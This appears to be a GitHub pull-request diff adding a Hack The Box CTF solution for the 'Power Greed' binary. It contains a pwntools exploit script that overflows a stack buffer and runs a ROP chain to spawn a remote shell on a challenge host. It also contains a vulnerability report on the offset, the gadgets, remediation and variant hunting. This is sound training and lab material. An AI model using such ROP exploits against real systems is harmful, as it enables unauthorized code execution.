Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
42 commits
Select commit Hold shift + click to select a range
4db9035
Add files via upload
TrishaSrikanth-459 Feb 13, 2026
62d628e
Delete 75fcc8f2-a6eb-427c-b2b4-c68421f8cd36_ExportBlock-b6b6c766-31fd…
TrishaSrikanth-459 Feb 13, 2026
25cc8ab
Add files via upload
TrishaSrikanth-459 Feb 13, 2026
e8f2db9
Fix image link encoding in Writeup #1
TrishaSrikanth-459 Feb 13, 2026
a7b2c34
Delete ExportBlock-b6b6c766-31fd-405d-8856-91cd8a5dc230-Part-1 directory
TrishaSrikanth-459 Mar 3, 2026
085e849
Add files via upload
TrishaSrikanth-459 Mar 3, 2026
6bbf626
Update Writeup #1 2f71c9147015804582a8d45dae5f41b6.md
TrishaSrikanth-459 Mar 3, 2026
c0542e8
Rename Writeup #1 2f71c9147015804582a8d45dae5f41b6.md to Writeup#1.md
TrishaSrikanth-459 Mar 3, 2026
5c82dbb
Rename Screenshot_2026-01-29_at_6.09.20_PM.png to Contact-Us.png
TrishaSrikanth-459 Mar 3, 2026
90c170e
Rename Screenshot_2026-01-29_at_6.15.59_PM.png to Session-Hijacking.png
TrishaSrikanth-459 Mar 3, 2026
e00af3a
Rename Session-Hijacking.png to XSS-Attack.png
TrishaSrikanth-459 Mar 3, 2026
23c174f
Rename Screenshot_2026-02-01_at_7.12.22_PM.png to Session-Hijacking.png
TrishaSrikanth-459 Mar 3, 2026
a31f050
Delete ExportBlock-6993437b-eb91-4735-885c-d861beab598a-Part-1/Writeu…
TrishaSrikanth-459 Mar 3, 2026
8880d33
Add files via upload
TrishaSrikanth-459 Mar 3, 2026
afc7080
Rename Screenshot_2026-02-01_at_7.12.22_PM.png to Session-Hijacking.png
TrishaSrikanth-459 Mar 3, 2026
9664d12
Rename 1_tZaHIrqrHRwd2Bf5TvspUA.webp to Chat-With-Admin.webp
TrishaSrikanth-459 Mar 3, 2026
2298183
Rename 1_DhdmTHv0CTUsf0Xi67dulA.webp to Privilege-Escalation.webp
TrishaSrikanth-459 Mar 3, 2026
ea5544e
Rename Privilege-Escalation.webp to Finance-Webpage.webp
TrishaSrikanth-459 Mar 3, 2026
fa103cb
Rename Screenshot_2026-02-01_at_7.36.36_PM.png to Privilege-Esalation…
TrishaSrikanth-459 Mar 3, 2026
773e28b
Update Writeup#1.md
TrishaSrikanth-459 Mar 3, 2026
6b53538
Create Writeup-#1
TrishaSrikanth-459 Mar 3, 2026
3312d47
Rename Chat-With-Admin.webp to Chat-With-Admin.webp
TrishaSrikanth-459 Mar 3, 2026
16ab9be
Rename Contact-Us.png to Contact-Us.png
TrishaSrikanth-459 Mar 3, 2026
9ae8b01
Rename XSS-Attack.png to XSS-Attack.png
TrishaSrikanth-459 Mar 3, 2026
556ded2
Rename Session-Hijacking.png to Session-Hijacking.png
TrishaSrikanth-459 Mar 3, 2026
2bcf602
Rename Privilege-Esalation.png to Privilege-Esalation.png
TrishaSrikanth-459 Mar 3, 2026
d2ced30
Rename Finance-Webpage.webp to Finance-Webpage.webp
TrishaSrikanth-459 Mar 3, 2026
047f7f3
Delete ExportBlock-6993437b-eb91-4735-885c-d861beab598a-Part-1/Writeu…
TrishaSrikanth-459 Mar 3, 2026
015642f
Update Writeup#1.md
TrishaSrikanth-459 Mar 3, 2026
2562c0a
Rename Privilege-Esalation.png to Privilege-Escalation.png
TrishaSrikanth-459 Mar 3, 2026
d72fc9c
Add files via upload
TrishaSrikanth-459 Mar 15, 2026
dfa4059
Delete writeup.md
TrishaSrikanth-459 Mar 15, 2026
3087e17
Add files via upload
TrishaSrikanth-459 Mar 15, 2026
c1be2f0
Delete spiky_tamagotchi_vulnerability_report.md
TrishaSrikanth-459 Mar 15, 2026
9e63616
Create gergre
TrishaSrikanth-459 Mar 28, 2026
d5a68d9
Add files via upload
TrishaSrikanth-459 Mar 28, 2026
891edf5
Add files via upload
TrishaSrikanth-459 Mar 28, 2026
3c902e8
Delete Writeup#4/gergre
TrishaSrikanth-459 Mar 28, 2026
c8e153e
Update power_greed_vulnerability_report.md
TrishaSrikanth-459 Mar 28, 2026
cd463f1
Delete ExportBlock-6993437b-eb91-4735-885c-d861beab598a-Part-1 directory
TrishaSrikanth-459 Apr 26, 2026
64664b4
Rename power_greed_solve.py to power_greed_solve.py
TrishaSrikanth-459 Apr 26, 2026
a0dba57
Rename power_greed_vulnerability_report.md to power_greed_vulnerabili…
TrishaSrikanth-459 Apr 26, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
40 changes: 40 additions & 0 deletions htb-binary/power_greed_solve.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
from pwn import *

HOST = "154.57.164.74"
PORT = 32436

def main() -> None:
p = remote(HOST, PORT)

payload = b"A" * 56
payload += p64(0x00402BD8) # pop rdi ; pop rbp ; ret
payload += p64(0x00481778) # "/bin/sh"
payload += p64(0x0) # filler for rbp

payload += p64(0x0040C002) # pop rsi ; pop rbp ; ret
payload += p64(0x0) * 2 # rsi = 0, filler for rbp

payload += p64(0x0046F4DC) # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
payload += p64(0x0) * 5 # rdx = 0, fillers for rbx/r12/r13/rbp

payload += p64(0x0042ADAB) # pop rax ; ret
payload += p64(59) # sys_execve

payload += p64(0x0040141A) # syscall

p.recvuntil(b">")
p.sendline(b"1")

p.recvuntil(b">")
p.sendline(b"1")

p.recvuntil(b"(y/n):")
p.sendline(b"y")

p.recvuntil(b"buffer:")
p.sendline(payload)

p.interactive()

if __name__ == "__main__":
main()
307 changes: 307 additions & 0 deletions htb-binary/power_greed_vulnerability_report.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,307 @@
# Vulnerability Report — Power Greed (HTB)

## Context

`power_greed` is a 64-bit statically linked ELF binary that runs as a Linux userspace application and presents an ANSI-colored terminal UI that simulates an ICS controller. The challenge writeup identifies it as a statically linked amd64 binary intended to be exploited via a ROP chain that invokes `execve("/bin/sh", 0, 0)`. It also shows the protection profile reported by `checksec`: Partial RELRO, NX enabled, No PIE, SHSTK enabled, IBT enabled, and a reported stack canary. However, the vulnerable path is still practically exploitable because the overflow occurs in a path where the canary is not effectively protecting the return path.

The program is interactive. Its relevant input flow is:

1. Main prompt: select **Diagnostics Center**
2. Diagnostics submenu: select **Vulnerability scan**
3. Confirmation prompt: answer **`y`**
4. Final prompt: provide input to the vulnerable buffer

In the challenge UI, this appears as a menu-driven “controller” with prompts such as:

```text
ics@shell>
1. Diagnostics Center
2. Log Console
3. Exit
```

and later:

```text
Do you want to test that? (y/n):
[INFO] Crash test the buffer:
```

These prompts are relevant because exploitation requires feeding inputs in the correct order before the final overflowing payload is sent.

The official writeup shows the binary properties and the relevant menu path visually on pages 2–4, including the buffer test prompt and the resulting segmentation fault when overlong input is provided.

## Vulnerability

### Classification

The vulnerability is a **stack-based buffer overflow**:

- **CWE-121: Stack-based Buffer Overflow**
- More specifically, the program accepts more bytes than the destination stack buffer can safely hold and allows the saved return address to be overwritten.

### Where the vulnerability manifests

The vulnerable behavior occurs in the “Crash test the buffer” stage reached by navigating:

1. `1` → Diagnostics Center
2. `1` → Vulnerability scan
3. `y` → confirm the test

After this point, the program reads attacker-controlled input into a stack buffer without sufficient bounds checking. The official writeup on page 4 shows that providing long input causes a segmentation fault, confirming the overflow condition.

### Why the overflow matters

The binary reports a canary as present, but the effective vulnerable path is still exploitable. In practice, the exploit path allows control over RIP after a fixed offset. This was not fully explained in the official writeup, so the offset was derived manually during debugging.

### Specific input that triggers the bug

Any oversized input after the final buffer prompt triggers the unintended behavior. A simple oversized pattern is enough to crash the process, for example:

```python
b"A" * 200
```

### Recovering the offset

The official writeup states that “the offset is 0x38 bytes” but does not show the derivation in detail. That offset can be recovered by sending a cyclic pattern and then locating the overwritten RIP value.

A standard workflow is:

1. Generate a cyclic pattern:
```python
cyclic(200)
```
2. Trigger the vulnerable path and send the pattern.
3. Observe the crashed RIP.
4. Resolve that value back to an offset with:
```python
cyclic -l <overwritten_value>
```

In this case, the resolved offset is:

```text
0x38 bytes = 56 bytes
```

This means the first 56 bytes fill the buffer and adjacent saved frame data, and the next 8-byte value controls RIP.

## Exploitation

### Overview

Because NX is enabled, the exploit cannot simply inject and execute shellcode on the stack. Because the binary is statically linked, a classic ret2libc strategy is not the intended route. Instead, the exploit uses **Return-Oriented Programming (ROP)** entirely inside the binary itself.

The overall exploitation path is:

1. Trigger the stack overflow
2. Overwrite RIP after 56 bytes
3. Use existing gadgets inside the binary to set up the Linux syscall ABI for `execve`
4. Invoke `syscall`
5. Spawn an interactive shell

### Why ROP is viable here

Two properties make this straightforward:

- **No PIE**: code addresses are stable
- **Statically linked**: the binary contains many gadgets and useful strings

The writeup shows that `/bin/sh` already exists in the binary’s memory, and it lists the gadget addresses necessary to set the required registers.

### Required register state

To call:

```c
execve("/bin/sh", 0, 0)
```

on Linux amd64 using the syscall interface, the attacker must set:

| Register | Value | Meaning |
|---|---:|---|
| `rax` | `59` | syscall number for `execve` |
| `rdi` | pointer to `"/bin/sh"` | first argument (`filename`) |
| `rsi` | `0` | second argument (`argv`) |
| `rdx` | `0` | third argument (`envp`) |

### Gadgets and useful data recovered from the binary

The official writeup provides the following addresses:

```text
pop rax ; ret
0x000000000042adab

pop rdi ; pop rbp ; ret
0x0000000000402bd8

pop rsi ; pop rbp ; ret
0x000000000040c002

pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
0x000000000046f4dc

syscall
0x000000000040141a
```

The string `"/bin/sh"` is found with:

```text
find 0x480000, 0x490000, "/bin/sh"
0x481778
```

and confirmed with:

```text
x/s 0x481778
0x481778: "/bin/sh"
```

### Why the gadget order matters

The most subtle gadget is:

```text
pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
```

This gadget is used to set `rdx = 0`, but it also does:

```text
xor eax, eax
```

which clears `rax`.

That means the ROP chain **must not** set `rax = 59` before this gadget. If it did, the `xor eax, eax` side effect would destroy the syscall number. Therefore the correct order is:

1. Set `rdi`
2. Set `rsi`
3. Set `rdx` (which also clears `eax`)
4. Set `rax = 59`
5. Execute `syscall`

### Stack layout of the final ROP chain

With the discovered offset of 56 bytes, the stack layout becomes:

```text
[ "A" * 56 ]

[ pop rdi ; pop rbp ; ret ]
[ 0x481778 ] -> rdi = "/bin/sh"
[ 0 ] -> filler for rbp

[ pop rsi ; pop rbp ; ret ]
[ 0 ] -> rsi = 0
[ 0 ] -> filler for rbp

[ pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret ]
[ 0 ] -> rdx = 0
[ 0 ] -> filler for rbx
[ 0 ] -> filler for r12
[ 0 ] -> filler for r13
[ 0 ] -> filler for rbp

[ pop rax ; ret ]
[ 59 ] -> rax = sys_execve

[ syscall ]
```

### Practical exploit primitives enabled

The vulnerability first provides:

- **Control over the saved return address**
- **A stack overwrite primitive**

From that, the attacker creates:

- **Register control via pop gadgets**
- **A syscall invocation primitive**
- **Process-spawning capability via `execve("/bin/sh", 0, 0)`**

### Input synchronization detail

A practical nuance discovered during debugging is that the program’s ANSI-colored output can make naive `sendlineafter` matching brittle. Matching prompts too strictly, especially with exact spacing or color-obscured prompt text, can cause the script to hang. In this challenge, robust matching used short, stable delimiters:

- `b'>'` for the two menu prompts
- `b'(y/n):'` for confirmation
- `b'buffer:'` for the final payload prompt

This is an exploitation reliability detail, not the root vulnerability, but it is necessary to reproduce the exploit script correctly.

## Remediation

### Primary fix

The root cause is unsafe buffer handling. The direct remediation is:

- Replace any unsafe read into the stack buffer with a length-bounded read.
- Ensure the destination size is enforced correctly.

For example, instead of an unchecked input operation, use a size-limited alternative such as:

```c
fgets(buf, sizeof(buf), stdin);
```

or equivalent bounded input handling.

### Additional hardening

The following would make exploitation significantly harder or impossible:

1. **Actually enforce stack canary protection in the vulnerable path**
If the canary is present, it must be checked before returning from the affected function.

2. **Enable PIE**
Position-independent execution would randomize code addresses and break fixed-address ROP.

3. **Use Full RELRO**
While not central to this exploit, it hardens other exploitation paths.

4. **Reduce gadget density**
Statically linked binaries contain many gadgets. Dynamic linking alone would not fix the vulnerability, but it would reduce the amount of reusable code in the main executable.

5. **Remove or sanitize dangerous diagnostic modes**
The “crash test the buffer” behavior appears intentionally unsafe. If such functionality were present in a real product, it should be removed entirely or gated behind strict authorization and safe test harnesses.

### Variant Analysis

Similar vulnerabilities can be found by searching for:

- Functions that read into fixed-size stack buffers
- Diagnostics or test modes that accept arbitrary user-controlled strings
- Paths where stack canaries are reported but not effectively enforced
- Menu-driven code paths that eventually funnel into unsafe reads

Automation ideas:

- Static analysis for unsafe input sinks
- Fuzzing with increasing-length inputs across menu states
- Instrumentation to detect return-address corruption
- Pattern-based search for stack allocations followed by unbounded copies

## Reproduction Summary

1. Connect to the service or execute the local binary.
2. Navigate to the vulnerable path:
- `1`
- `1`
- `y`
3. Send a cyclic pattern and determine the RIP offset.
4. Confirm the offset is `56`.
5. Locate the required gadgets and `/bin/sh`.
6. Send the final ROP payload.
7. Receive an interactive shell and read the flag.

## Proof-of-Concept Exploit Script

The exploit script is provided separately as `power_greed_solve.py`.